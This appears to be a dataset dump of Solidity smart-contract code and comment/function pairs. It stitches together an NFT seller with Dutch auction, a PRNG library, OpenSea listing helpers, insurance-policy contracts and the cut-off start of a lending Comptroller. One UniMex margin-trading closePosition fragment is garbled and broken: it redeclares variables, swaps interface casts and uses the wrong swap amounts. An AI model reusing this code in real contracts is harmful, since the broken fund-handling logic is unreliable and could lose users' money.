> 0, "Seller: Sold out"); if (config.maxPerAddress > 0) { bool alsoLimitSender = _msgSender() != to; bool alsoLimitOrigin = tx.origin != _msgSender() && tx.origin != to; n = _capExtra(n, to, "Buyer limit"); if (alsoLimitSender) { n = _capExtra(n, _msgSender(), "Sender limit"); } if (alsoLimitOrigin) { n = _capExtra(n, tx.origin, "Origin limit"); } _bought[to] += n; if (alsoLimitSender) { _bought[_msgSender()] += n; } if (alsoLimitOrigin) { _bought[tx.origin] += n; } } uint256 _cost = cost(n); if (msg.value < _cost) { revert( string( abi.encodePacked( "Seller: Costs ", (_cost / 1e9).toString(), " GWei" ) ) ); } /** * ##### EFFECTS */ _handlePurchase(to, n, false); _totalSold.add(n); assert(_totalSold.current() <= config.totalInventory); /** * ##### INTERACTIONS */ // Ideally we'd be using a PullPayment here, but the user experience is // poor when there's a variable cost or the number of items purchased // has been capped. We've addressed reentrancy with both a nonReentrant // modifier and the checks, effects, interactions pattern. if (_cost > 0) { beneficiary.sendValue(_cost); emit Revenue(beneficiary, n, _cost); } if (msg.value > _cost) { address payable reimburse = payable(_msgSender()); uint256 refund = msg.value - _cost; // Using Address.sendValue() here would mask the revertMsg upon // reentrancy, but we want to expose it to allow for more precise // testing. This otherwise uses the exact same pattern as // Address.sendValue(). (bool success, bytes memory returnData) = reimburse.call{ value: refund }(""); // Although `returnData` will have a spurious prefix, all we really // care about is that it contains the ReentrancyGuard reversion // message so we can check in the tests. require(success, string(returnData)); emit Refund(reimburse, refund); } } } // SPDX-License-Identifier: MIT // Copyright (c) 2021 the ethier authors (github.com/divergencetech/ethier) pragma solidity >=0.8.0 <0.9.0; import "./Seller.sol"; import "@openzeppelin/contracts/utils/math/Math.sol"; /// @notice A Seller with a linearly decreasing price. abstract contract LinearDutchAuction is Seller { /** @param unit The unit of "time" used for decreasing prices, block number or timestamp. NOTE: See the comment on AuctionIntervalUnit re use of Time as a unit. @param startPoint The block or timestamp at which the auction opens. A value of zero disables the auction. See setAuctionStartPoint(). @param startPrice The price at `startPoint`. @param decreaseInterval The number of units to wait before decreasing the price. MUST be non-zero. @param decreaseSize The amount by which price decreases after every `decreaseInterval`. @param numDecreases The maximum number of price decreases before remaining constant. The reserve price is therefore implicit and equal to startPrice-numDecrease*decreaseSize. */ struct DutchAuctionConfig { uint256 startPoint; uint256 startPrice; uint256 decreaseInterval; uint256 decreaseSize; // From https://docs.soliditylang.org/en/v0.8.10/types.html#enums "Enums // cannot have more than 256 members"; presumably they take 8 bits, so // use some of the numDecreases space instead. uint248 numDecreases; AuctionIntervalUnit unit; } /** @notice The unit of "time" along which the cost decreases. @dev If no value is provided then the zero UNSPECIFIED will trigger an error. NOTE: The Block unit is more reliable as it has an explicit progression (simply incrementing). Miners are allowed to have a time drift into the future although which predisposes to unexpected behaviour by which "future" costs are encountered. See the ConsenSys 15-second rule: https://consensys.net/blog/developers/solidity-best-practices-for-smart-contract-security/ */ enum AuctionIntervalUnit { UNSPECIFIED, Block, Time } /// @param expectedReserve See setAuctionConfig(). constructor( DutchAuctionConfig memory config, uint256 expectedReserve, Seller.SellerConfig memory sellerConfig, address payable _beneficiary ) Seller(sellerConfig, _beneficiary) { setAuctionConfig(config, expectedReserve); } /// @notice Configuration of price changes. DutchAuctionConfig public dutchAuctionConfig; /** @notice Sets the auction config. @param expectedReserve A safety check that the reserve, as calculated from the config, is as expected. */ function setAuctionConfig( DutchAuctionConfig memory config, uint256 expectedReserve ) public onlyOwner { // Underflow might occur is size/num decreases is too large. unchecked { require( config.startPrice - config.decreaseSize * config.numDecreases == expectedReserve, "LinearDutchAuction: incorrect reserve" ); } require( config.unit != AuctionIntervalUnit.UNSPECIFIED, "LinearDutchAuction: unspecified unit" ); require( config.decreaseInterval > 0, "LinearDutchAuction: zero decrease interval" ); dutchAuctionConfig = config; } /** @notice Sets the config startPoint. A startPoint of zero disables the auction. @dev The auction can be toggle on and off with this function, without the cost of having to update the entire config. */ function setAuctionStartPoint(uint256 startPoint) public onlyOwner { dutchAuctionConfig.startPoint = startPoint; } /// @notice Override of Seller.cost() with Dutch-auction logic. function cost(uint256 n) public view override returns (uint256) { DutchAuctionConfig storage cfg = dutchAuctionConfig; uint256 current; if (cfg.unit == AuctionIntervalUnit.Block) { current = block.number; } else if (cfg.unit == AuctionIntervalUnit.Time) { current = block.timestamp; } require( cfg.startPoint != 0 && current >= cfg.startPoint, "LinearDutchAuction: Not started" ); uint256 decreases = Math.min( (current - cfg.startPoint) / cfg.decreaseInterval, cfg.numDecreases ); return n * (cfg.startPrice - decreases * cfg.decreaseSize); } } // SPDX-License-Identifier: MIT // Copyright (c) 2021 the ethier authors (github.com/divergencetech/ethier) pragma solidity >=0.8.9 <0.9.0; library PRNG { /** @notice A source of random numbers. @dev Pointer to a 4-word buffer of {seed, counter, entropy, remaining unread bits}. however, note that this is abstracted away by the API and SHOULD NOT be used. This layout MUST NOT be considered part of the public API and therefore not relied upon even within stable versions */ type Source is uint256; /// @notice Layout within the buffer. 0x00 is the seed. uint256 private constant COUNTER = 0x20; uint256 private constant ENTROPY = 0x40; uint256 private constant REMAIN = 0x60; /** @notice Returns a new deterministic Source, differentiated only by the seed. @dev Use of PRNG.Source does NOT provide any unpredictability as generated numbers are entirely deterministic. Either a verifiable source of randomness such as Chainlink VRF, or a commit-and-reveal protocol MUST be used if unpredictability is required. The latter is only appropriate if the contract owner can be trusted within the specified threat model. */ function newSource(bytes32 seed) internal pure returns (Source src) { assembly { src := mload(0x40) mstore(0x40, add(src, 0x80)) mstore(src, seed) } // DO NOT call _refill() on the new Source as newSource() is also used // by loadSource(), which implements its own state modifications. The // first call to read() on a fresh Source will induce a call to // _refill(). } /** @dev Hashes seed||counter, placing it in the entropy word, and resets the remaining bits to 256. Increments the counter BEFORE the refill (ie 0 is never used) as this simplifies round-tripping with store() and loadSource() because the stored counter state is the same as the one used for deriving the entropy pool. */ function _refill(Source src) private pure { assembly { let ctr := add(src, COUNTER) mstore(ctr, add(1, mload(ctr))) mstore(add(src, ENTROPY), keccak256(src, 0x40)) mstore(add(src, REMAIN), 256) } } /** @notice Returns the specified number of bits <= 256 from the Source. @dev It is safe to cast the returned value to a uint<bits>. */ function read(Source src, uint256 bits) internal pure returns (uint256 sample) { require(bits <= 256, "PRNG: max 256 bits"); uint256 remain; assembly { remain := mload(add(src, REMAIN)) } if (remain > bits) { return readWithSufficient(src, bits); } uint256 extra = bits - remain; sample = readWithSufficient(src, remain); assembly { sample := shl(extra, sample) } _refill(src); sample = sample | readWithSufficient(src, extra); } /** @notice Returns the specified number of bits, assuming that there is sufficient entropy remaining. See read() for usage. */ function readWithSufficient(Source src, uint256 bits) private pure returns (uint256 sample) { assembly { let pool := add(src, ENTROPY) let ent := mload(pool) sample := and(ent, sub(shl(bits, 1), 1)) mstore(pool, shr(bits, ent)) let rem := add(src, REMAIN) mstore(rem, sub(mload(rem), bits)) } } /// @notice Returns a random boolean. function readBool(Source src) internal pure returns (bool) { return read(src, 1) == 1; } /** @notice Returns the number of bits needed to encode n. @dev Useful for calling readLessThan() multiple times with the same upper bound. */ function bitLength(uint256 n) internal pure returns (uint16 bits) { assembly { for { let _n := n } gt(_n, 0) { _n := shr(1, _n) } { bits := add(bits, 1) } } } /** @notice Returns a uniformly random value in [0,n) with rejection sampling. @dev If the size of n is known, prefer readLessThan(Source, uint, uint16) as it skips the bit counting performed by this version; see bitLength(). */ function readLessThan(Source src, uint256 n) internal pure returns (uint256) { return readLessThan(src, n, bitLength(n)); } /** @notice Returns a uniformly random value in [0,n) with rejection sampling from the range [0,2^bits). @dev For greatest efficiency, the value of bits should be the smallest number of bits required to capture n; if this is not known, use readLessThan(Source, uint) or bitLength(). Although rejections are reduced by using twice the number of bits, this increases the rate at which the entropy pool must be refreshed with a call to keccak256(). TODO: benchmark higher number of bits for rejection vs hashing gas cost. */ function readLessThan( Source src, uint256 n, uint16 bits ) internal pure returns (uint256 result) { // Discard results >= n and try again because using % will bias towards // lower values; e.g. if n = 13 and we read 4 bits then {13, 14, 15}%13 // will select {0, 1, 2} twice as often as the other values. for (result = n; result >= n; result = read(src, bits)) {} } /** @notice Returns the internal state of the Source. @dev MUST NOT be considered part of the API and is subject to change without deprecation nor warning. Only exposed for testing. */ function state(Source src) internal pure returns ( uint256 seed, uint256 counter, uint256 entropy, uint256 remain ) { assembly { seed := mload(src) counter := mload(add(src, COUNTER)) entropy := mload(add(src, ENTROPY)) remain := mload(add(src, REMAIN)) } } /** @notice Stores the state of the Source in a 2-word buffer. See loadSource(). @dev The layout of the stored state MUST NOT be considered part of the public API, and is subject to change without warning. It is therefore only safe to rely on stored Sources _within_ contracts, but not _between_ them. */ function store(Source src, uint256[2] storage stored) internal { uint256 seed; // Counter will never be as high as 2^247 (because the sun will have // depleted by then) and remain is in [0,256], so pack them to save 20k // gas on an SSTORE. uint256 packed; assembly { seed := mload(src) packed := add( shl(9, mload(add(src, COUNTER))), mload(add(src, REMAIN)) ) } stored[0] = seed; stored[1] = packed; // Not storing the entropy as it can be recalculated later. } /** @notice Recreates a Source from the state stored with store(). */ function loadSource(uint256[2] storage stored) internal view returns (Source) { Source src = newSource(bytes32(stored[0])); uint256 packed = stored[1]; uint256 counter = packed >> 9; uint256 remain = packed & 511; assembly { mstore(add(src, COUNTER), counter) mstore(add(src, REMAIN), remain) // Has the same effect on internal state as as _refill() then // read(256-rem). let ent := shr(sub(256, remain), keccak256(src, 0x40)) mstore(add(src, ENTROPY), ent) } return src; } } // SPDX-License-Identifier: MIT // Copyright (c) 2021 the ethier authors (github.com/divergencetech/ethier) pragma solidity >=0.8.0 <0.9.0; // Inspired by BaseOpenSea by Simon Fremaux (@dievardump) but without the need // to pass specific addresses depending on deployment network. // https://gist.github.com/dievardump/483eb43bc6ed30b14f01e01842e3339b/ /// @notice Library to achieve gas-free listings on OpenSea. library OpenSeaGasFreeListing { /** @notice Returns whether the operator is an OpenSea proxy for the owner, thus allowing it to list without the token owner paying gas. @dev ERC{721,1155}.isApprovedForAll should be overriden to also check if this function returns true. */ function isApprovedForAll(address owner, address operator) internal view returns (bool) { ProxyRegistry registry; assembly { switch chainid() case 1 { // mainnet registry := 0xa5409ec958c83c3f309868babaca7c86dcb077c1 } case 4 { // rinkeby registry := 0xf57b2c51ded3a29e6891aba85459d600256cf317 } } return address(registry) != address(0) && address(registry.proxies(owner)) == operator; } } contract OwnableDelegateProxy {} contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } // SPDX-License-Identifier: MIT // Copyright (c) 2021 the ethier authors (github.com/divergencetech/ethier) pragma solidity >=0.8.0 <0.9.0; import "./ERC721Common.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; /** @notice Extends ERC721Common functionality with ERC721Enumerable. @dev This adds a significant gas cost to minting and transfers so only use if absolutely necessary. If only totalSupply() is needed and the contract is also an ethier Seller then use totalSold() as an alias. See: https://shiny.mirror.xyz/OUampBbIz9ebEicfGnQf5At_ReMHlZy0tB4glb9xQ0E */ contract ERC721CommonEnumerable is ERC721Common, ERC721Enumerable { constructor(string memory name, string memory symbol) ERC721Common(name, symbol) {} /** @notice Returns ERC721Common.isApprovedForAll() to guarantee use of OpenSea gas-free listing functionality. */ function isApprovedForAll(address owner, address operator) public view virtual override(ERC721, ERC721Common) returns (bool) { return ERC721Common.isApprovedForAll(owner, operator); } /// @notice Overrides _beforeTokenTransfer as required by inheritance. function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override(ERC721Common, ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } /// @notice Overrides supportsInterface as required by inheritance. function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Common, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } } // SPDX-License-Identifier: MIT // Copyright (c) 2021 the ethier authors (github.com/divergencetech/ethier) pragma solidity >=0.8.0 <0.9.0; import "./OpenSeaGasFreeListing.sol"; import "../utils/OwnerPausable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Pausable.sol"; import "@openzeppelin/contracts/utils/Context.sol"; /** @notice An ERC721 contract with common functionality: - OpenSea gas-free listings - OpenZeppelin Pausable - OpenZeppelin Pausable with functions exposed to Owner only */ contract ERC721Common is Context, ERC721Pausable, OwnerPausable { constructor(string memory name, string memory symbol) ERC721(name, symbol) {} /// @notice Requires that the token exists. modifier tokenExists(uint256 tokenId) { require(ERC721._exists(tokenId), "ERC721Common: Token doesn't exist"); _; } /// @notice Requires that msg.sender owns or is approved for the token. modifier onlyApprovedOrOwner(uint256 tokenId) { require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721Common: Not approved nor owner" ); _; } /// @notice Overrides _beforeTokenTransfer as required by inheritance. function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override(ERC721Pausable) { super._beforeTokenTransfer(from, to, tokenId); } /// @notice Overrides supportsInterface as required by inheritance. function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721) returns (bool) { return super.supportsInterface(interfaceId); } /** @notice Returns true if either standard isApprovedForAll() returns true or the operator is the OpenSea proxy for the owner. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return super.isApprovedForAll(owner, operator) || OpenSeaGasFreeListing.isApprovedForAll(owner, operator); } }
/ Counter will never be as high as 2^247 (because the sun will have depleted by then) and remain is in [0,256], so pack them to save 20k gas on an SSTORE.
function store(Source src, uint256[2] storage stored) internal { uint256 seed; uint256 packed; assembly { seed := mload(src) packed := add( shl(9, mload(add(src, COUNTER))), mload(add(src, REMAIN)) ) } stored[0] = seed; stored[1] = packed;
1,513,521
./partial_match/3/0xe41a67e658a25E8b93f15498D840080cBf199963/sources/UniMexMargin.sol
uint256 commitment = getCommitment(owed, position.leverage);uint256 profit = swap.sub(owed);IERC20(position.token).approve(address(uniswap_router), profit);uint256 profitInEth = swapTokens(position.token, profit, true, slippage);uint256 fees = (profitInEth.mul(8e15)).div(1e18);uint256 profitInEthMinusFees = profitInEth.sub(fees);IERC20(position.token).approve(pool, owed);IUniMexPool(pool).repay(owed);IERC20(weth).approve(pool, fees.div(2));IUniMexPool(pool).distribute(fees.div(2));IERC20(weth).approve(staking, fees.sub(fees.div(2)));IUniMexStaking(staking).distribute(fees.sub(fees.div(2)));transferEscrowToUser(position.owner, position.owner, commitment);transferToUser(position.owner, profitInEthMinusFees);position.isClosed = true;
function closePosition(bytes32 tradeId, uint256 slippage) public { Position storage position = positionInfo[tradeId]; require(msg.sender == position.owner, 'UNIMEX: BORROWER_ONLY'); bool isShort = position.owedTokens > 0 ? true : false; uint256 input = isShort ? position.eths : position.tokens; uint256 owed = isShort ? position.owedTokens : position.owedEths; uint256 value = getValueOfToken(position.token, true, input); bool isClosable = isShort ? ((value < owed) || (value >= owed && value <= (owed.mul(mag.add(margin_call))).div(mag))) : ((value >= owed) || (value < owed && value > (owed.mul(mag.sub(margin_call))).div(mag))); require(isClosable, 'UNIMEX: LIQUIDATE_ONLY'); address pool = isShort ? unimex_factory.getPool(position.token) : unimex_factory.getPool(weth); if(isShort) { if(value < owed) { IERC20(weth).approve(address(uniswap_router), input); uint256 swap = swapTokens(position.token, input, false, slippage); IERC20(weth).approve(address(uniswap_router), input); uint256 swap = swapTokens(position.token, input, false, slippage); IERC20(weth).approve(address(uniswap_router), getCommitment(owed, position.leverage)); uint256 commitmentInTokens = swapTokens(position.token, getCommitment(owed, position.leverage), true, slippage); uint256 leftover = commitmentInTokens.sub(owed.sub(swap)); IERC20(position.token).approve(address(uniswap_router), leftover); uint256 leftoverInEth = swapTokens(position.token, input, true, slippage); uint256 fees = (leftover.mul(8e15)).div(1e18); IERC20(position.token).approve(pool, swap.add(owed.sub(swap))); IERC20(weth).approve(pool, fees.div(2)); IERC20(weth).approve(staking, fees.sub(fees.div(2))); IUniMexPool(pool).repay(swap.add(owed.sub(swap))); IUniMexPool(pool).distribute(fees.div(2)); IUniMexStaking(pool).distribute(fees.sub(fees.div(2))); transferEscrowToUser(position.owner, position.owner, leftoverInEth.sub(fees)); position.isClosed = true; } if(value >= owed) { IERC20(position.token).approve(address(uniswap_router), input); uint256 swap = swapTokens(position.token, input, true, slippage); uint256 commitment = getCommitment(owed, position.leverage); uint256 profit = swap.sub(owed); uint256 fees = (profit.mul(8e15)).div(1e18); uint256 profitMinusFees = profit.sub(fees); IERC20(weth).approve(pool, owed); IUniMexPool(pool).repay(owed); IERC20(weth).approve(pool, fees.div(2)); IUniMexPool(pool).distribute(fees.div(2)); IERC20(weth).approve(staking, fees.sub(fees.div(2))); IUniMexPool(staking).distribute(fees.sub(fees.div(2))); transferEscrowToUser(position.owner, position.owner, commitment); transferToUser(position.owner, profitMinusFees); position.isClosed = true; IERC20(position.token).approve(address(uniswap_router), input); uint256 swap = swapTokens(position.token, input, true, slippage); uint256 commitment = getCommitment(owed, position.leverage); uint256 loss = owed.sub(swap); uint256 leftover = commitment.sub(loss); uint256 fees = (leftover.mul(8e15)).div(1e18); IERC20(weth).approve(pool, swap.add(loss)); IUniMexPool(pool).repay(swap.add(loss)); IERC20(weth).approve(pool, fees.div(2)); IUniMexPool(pool).distribute(fees.div(2)); IERC20(weth).approve(pool, fees.sub(fees.div(2))); IUniMexStaking(staking).distribute(fees.sub(fees.div(2))); transferEscrowToUser(position.owner, position.owner, leftover.sub(fees)); position.isClosed = true; } } }
5,160,937
pragma solidity 0.4.21; /** * @title Ownable Contract * @dev contract that has a user and can implement user access restrictions based on it */ contract Ownable { address public owner; /** * @dev sets owner of contract */ function Ownable() public { owner = msg.sender; } /** * @dev changes owner of contract * @param newOwner New owner */ function changeOwner(address newOwner) public ownerOnly { require(newOwner != address(0)); owner = newOwner; } /** * @dev Throws if called by other account than owner */ modifier ownerOnly() { require(msg.sender == owner); _; } } /** * @title Emergency Safety contract * @dev Allows token and ether drain and pausing of contract */ contract EmergencySafe is Ownable{ event PauseToggled(bool isPaused); bool public paused; /** * @dev Throws if contract is paused */ modifier isNotPaused() { require(!paused); _; } /** * @dev Throws if contract is not paused */ modifier isPaused() { require(paused); _; } /** * @dev Initialises contract to non-paused */ function EmergencySafe() public { paused = false; } /** * @dev Allows draining of tokens (to owner) that might accidentally be sent to this address * @param token Address of ERC20 token * @param amount Amount to drain */ function emergencyERC20Drain(ERC20Interface token, uint amount) public ownerOnly{ token.transfer(owner, amount); } /** * @dev Allows draining of Ether * @param amount Amount to drain */ function emergencyEthDrain(uint amount) public ownerOnly returns (bool){ return owner.send(amount); } /** * @dev Switches the contract from paused to non-paused or vice-versa */ function togglePause() public ownerOnly { paused = !paused; emit PauseToggled(paused); } } /** * @title Upgradeable Conract * @dev contract that implements doubly linked list to keep track of old and new * versions of this contract */ contract Upgradeable is Ownable{ address public lastContract; address public nextContract; bool public isOldVersion; bool public allowedToUpgrade; /** * @dev makes contract upgradeable */ function Upgradeable() public { allowedToUpgrade = true; } /** * @dev signals that new upgrade is available, contract must be most recent * upgrade and allowed to upgrade * @param newContract Address of upgraded contract */ function upgradeTo(Upgradeable newContract) public ownerOnly{ require(allowedToUpgrade && !isOldVersion); nextContract = newContract; isOldVersion = true; newContract.confirmUpgrade(); } /** * @dev confirmation that this is indeed the next version, * called from previous version of contract. Anyone can call this function, * which basically makes this instance unusable if that happens. Once called, * this contract can not serve as upgrade to another contract. Not an ideal solution * but will work until we have a more sophisticated approach using a dispatcher or similar */ function confirmUpgrade() public { require(lastContract == address(0)); lastContract = msg.sender; } } /** * @title IXT payment contract in charge of administaring IXT payments * @dev contract looks up price for appropriate tasks and sends transferFrom() for user, * user must approve this contract to spend IXT for them before being able to use it */ contract IXTPaymentContract is Ownable, EmergencySafe, Upgradeable{ event IXTPayment(address indexed from, address indexed to, uint value, string indexed action); ERC20Interface public tokenContract; mapping(string => uint) private actionPrices; mapping(address => bool) private allowed; /** * @dev Throws if called by non-allowed contract */ modifier allowedOnly() { require(allowed[msg.sender] || msg.sender == owner); _; } /** * @dev sets up token address of IXT token * adds owner to allowds, if owner is changed in the future, remember to remove old * owner if desired * @param tokenAddress IXT token address */ function IXTPaymentContract(address tokenAddress) public { tokenContract = ERC20Interface(tokenAddress); allowed[owner] = true; } /** * @dev transfers IXT * @param from User address * @param to Recipient * @param action Service the user is paying for */ function transferIXT(address from, address to, string action) public allowedOnly isNotPaused returns (bool) { if (isOldVersion) { IXTPaymentContract newContract = IXTPaymentContract(nextContract); return newContract.transferIXT(from, to, action); } else { uint price = actionPrices[action]; if(price != 0 && !tokenContract.transferFrom(from, to, price)){ return false; } else { emit IXTPayment(from, to, price, action); return true; } } } /** * @dev sets new token address in case of update * @param erc20Token Token address */ function setTokenAddress(address erc20Token) public ownerOnly isNotPaused { tokenContract = ERC20Interface(erc20Token); } /** * @dev creates/updates action * @param action Action to be paid for * @param price Price (in units * 10 ^ (<decimal places of token>)) */ function setAction(string action, uint price) public ownerOnly isNotPaused { actionPrices[action] = price; } /** * @dev retrieves price for action * @param action Name of action, e.g. 'create_insurance_contract' */ function getActionPrice(string action) public view returns (uint) { return actionPrices[action]; } /** * @dev add account to allow calling of transferIXT * @param allowedAddress Address of account */ function setAllowed(address allowedAddress) public ownerOnly { allowed[allowedAddress] = true; } /** * @dev remove account from allowed accounts * @param allowedAddress Address of account */ function removeAllowed(address allowedAddress) public ownerOnly { allowed[allowedAddress] = false; } } contract ERC20Interface { uint public totalSupply; function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } /** * @title Insurance Contract * @dev Insurance Contract that is created by broker/client, functions mainly as permament record store */ contract Policy is Ownable, EmergencySafe, Upgradeable{ struct InsuranceProduct { uint inceptionDate; uint expirationDate; uint limitOfLiability; string limitOfLiabilityCurrency; string insuranceType; bytes32 policyDocumentReference; } struct PolicyInfo { uint blockNumber; uint numInsuranceProducts; string clientInfo; string ixlEnquiryId; string status; address brokerEtherAddress; address clientEtherAddress; } InsuranceProduct[] public insuranceProducts; PolicyInfo public policyInfo; mapping(address => bool) private cancellations; /** * @dev Throws if called by other account than broker or client */ modifier participantOnly() { require(msg.sender == policyInfo.clientEtherAddress || msg.sender == policyInfo.brokerEtherAddress); _; } /** * @dev Throws if called by other account than broker or client, * core parameters kept as fields for future logic and for quick reference upon lookup */ function Policy(string _clientInfo, address _brokerEtherAddress, address _clientEtherAddress, string _enquiryId) public { policyInfo = PolicyInfo({ blockNumber: block.number, numInsuranceProducts: 0, clientInfo: _clientInfo, ixlEnquiryId: _enquiryId, status: 'In Force', clientEtherAddress: _clientEtherAddress, brokerEtherAddress: _brokerEtherAddress }); allowedToUpgrade = false; } function addInsuranceProduct (uint _inceptionDate, uint _expirationDate, uint _limitOfLiability, string _limitOfLiabilityCurrency, string _insuranceType, bytes32 _policyDocReference) public ownerOnly isNotPaused { insuranceProducts.push(InsuranceProduct({ policyDocumentReference: _policyDocReference, inceptionDate: _inceptionDate, expirationDate: _expirationDate, limitOfLiability: _limitOfLiability, limitOfLiabilityCurrency: _limitOfLiabilityCurrency, insuranceType: _insuranceType })); policyInfo.numInsuranceProducts++; } /** * @dev Allows broker and client to cancel contract, when both have cancelled, * status is updated and contract becomes upgradeable */ function revokeContract() public participantOnly { cancellations[msg.sender] = true; if (((cancellations[policyInfo.brokerEtherAddress] && (cancellations[policyInfo.clientEtherAddress] || cancellations[owner])) || (cancellations[policyInfo.clientEtherAddress] && cancellations[owner]))){ policyInfo.status = "REVOKED"; allowedToUpgrade = true; } } } /* * @title Policy Registry * @dev Registry that is in charge of tracking and creating insurance contracts */ contract PolicyRegistry is Ownable, EmergencySafe, Upgradeable{ event PolicyCreated(address at, address by); IXTPaymentContract public IXTPayment; mapping (address => address[]) private policiesByParticipant; address[] private policies; /** * @dev Creates Registry * @param paymentAddress The address of the payment contract used when creating insurance contracts */ function PolicyRegistry(address paymentAddress) public { IXTPayment = IXTPaymentContract(paymentAddress); } /** * @dev Creates Policy, transfers ownership to msg.sender, registers address for all parties involved, * and transfers IXT */ function createContract(string _clientInfo, address _brokerEtherAddress, address _clientEtherAddress, string _enquiryId) public isNotPaused { Policy policy = new Policy(_clientInfo, _brokerEtherAddress, _clientEtherAddress, _enquiryId); policy.changeOwner(msg.sender); policiesByParticipant[_brokerEtherAddress].push(policy); if (_clientEtherAddress != _brokerEtherAddress) { policiesByParticipant[_clientEtherAddress].push(policy); } if (msg.sender != _clientEtherAddress && msg.sender != _brokerEtherAddress) { policiesByParticipant[msg.sender].push(policy); } policies.push(policy); IXTPayment.transferIXT(_clientEtherAddress, owner, "create_insurance"); emit PolicyCreated(policy, msg.sender); } /** * @dev Retrieve all contracts that msg.sender is either broker, client or owner for */ function getMyPolicies() public view returns (address[]) { return policiesByParticipant[msg.sender]; } /** * @dev Retrieve all contracts ever created */ function getAllPolicies() public view ownerOnly returns (address[]){ return policies; } /** * @dev change address of payment contract * @param contractAddress Address of payment contract */ function changePaymentContract(address contractAddress) public ownerOnly{ IXTPayment = IXTPaymentContract(contractAddress); } }
Creates Policy, transfers ownership to msg.sender, registers address for all parties involved, and transfers IXT/
function createContract(string _clientInfo, address _brokerEtherAddress, address _clientEtherAddress, string _enquiryId) public isNotPaused { Policy policy = new Policy(_clientInfo, _brokerEtherAddress, _clientEtherAddress, _enquiryId); policy.changeOwner(msg.sender); policiesByParticipant[_brokerEtherAddress].push(policy); if (_clientEtherAddress != _brokerEtherAddress) { policiesByParticipant[_clientEtherAddress].push(policy); } if (msg.sender != _clientEtherAddress && msg.sender != _brokerEtherAddress) { policiesByParticipant[msg.sender].push(policy); } policies.push(policy); IXTPayment.transferIXT(_clientEtherAddress, owner, "create_insurance"); emit PolicyCreated(policy, msg.sender); }
6,376,758
pragma solidity ^0.5.16; import "./VToken.sol"; import "./ErrorReporter.sol"; import "./Exponential.sol"; import "./PriceOracle.sol"; import "./ComptrollerInterface.sol"; import "./ComptrollerStorage.sol"; import "./Unitroller.sol"; import "./Governance/XVS.sol"; import "./VAI/VAI.sol"; /** * @title Venus's Comptroller Contract * @author Venus */ contract ComptrollerG2 is ComptrollerV1Storage, ComptrollerInterfaceG1, ComptrollerErrorReporter, Exponential { /// @notice Emitted when an admin supports a market event MarketListed(VToken vToken); /// @notice Emitted when an account enters a market event MarketEntered(VToken vToken, address account); /// @notice Emitted when an account exits a market event MarketExited(VToken vToken, address account); /// @notice Emitted when close factor is changed by admin event NewCloseFactor(uint oldCloseFactorMantissa, uint newCloseFactorMantissa); /// @notice Emitted when a collateral factor is changed by admin event NewCollateralFactor(VToken vToken, uint oldCollateralFactorMantissa, uint newCollateralFactorMantissa); /// @notice Emitted when liquidation incentive is changed by admin event NewLiquidationIncentive(uint oldLiquidationIncentiveMantissa, uint newLiquidationIncentiveMantissa); /// @notice Emitted when maxAssets is changed by admin event NewMaxAssets(uint oldMaxAssets, uint newMaxAssets); /// @notice Emitted when price oracle is changed event NewPriceOracle(PriceOracle oldPriceOracle, PriceOracle newPriceOracle); /// @notice Emitted when pause guardian is changed event NewPauseGuardian(address oldPauseGuardian, address newPauseGuardian); /// @notice Emitted when an action is paused globally event ActionPaused(string action, bool pauseState); /// @notice Emitted when an action is paused on a market event ActionPaused(VToken vToken, string action, bool pauseState); /// @notice Emitted when market venus status is changed event MarketVenus(VToken vToken, bool isVenus); /// @notice Emitted when Venus rate is changed event NewVenusRate(uint oldVenusRate, uint newVenusRate); /// @notice Emitted when Venus VAI rate is changed event NewVenusVAIRate(uint oldVenusVAIRate, uint newVenusVAIRate); /// @notice Emitted when a new Venus speed is calculated for a market event VenusSpeedUpdated(VToken indexed vToken, uint newSpeed); /// @notice Emitted when XVS is distributed to a supplier event DistributedSupplierVenus(VToken indexed vToken, address indexed supplier, uint venusDelta, uint venusSupplyIndex); /// @notice Emitted when XVS is distributed to a borrower event DistributedBorrowerVenus(VToken indexed vToken, address indexed borrower, uint venusDelta, uint venusBorrowIndex); /// @notice Emitted when XVS is distributed to a VAI minter event DistributedVAIMinterVenus(address indexed vaiMinter, uint venusDelta, uint venusVAIMintIndex); /// @notice Emitted when VAIController is changed event NewVAIController(VAIControllerInterface oldVAIController, VAIControllerInterface newVAIController); /// @notice Emitted when VAI mint rate is changed by admin event NewVAIMintRate(uint oldVAIMintRate, uint newVAIMintRate); /// @notice Emitted when protocol state is changed by admin event ActionProtocolPaused(bool state); /// @notice The threshold above which the flywheel transfers XVS, in wei uint public constant venusClaimThreshold = 0.001e18; /// @notice The initial Venus index for a market uint224 public constant venusInitialIndex = 1e36; // closeFactorMantissa must be strictly greater than this value uint internal constant closeFactorMinMantissa = 0.05e18; // 0.05 // closeFactorMantissa must not exceed this value uint internal constant closeFactorMaxMantissa = 0.9e18; // 0.9 // No collateralFactorMantissa may exceed this value uint internal constant collateralFactorMaxMantissa = 0.9e18; // 0.9 // liquidationIncentiveMantissa must be no less than this value uint internal constant liquidationIncentiveMinMantissa = 1.0e18; // 1.0 // liquidationIncentiveMantissa must be no greater than this value uint internal constant liquidationIncentiveMaxMantissa = 1.5e18; // 1.5 constructor() public { admin = msg.sender; } modifier onlyProtocolAllowed { require(!protocolPaused, "protocol is paused"); _; } modifier onlyAdmin() { require(msg.sender == admin, "only admin can"); _; } modifier onlyListedMarket(VToken vToken) { require(markets[address(vToken)].isListed, "venus market is not listed"); _; } modifier validPauseState(bool state) { require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can"); require(msg.sender == admin || state == true, "only admin can unpause"); _; } /*** Assets You Are In ***/ /** * @notice 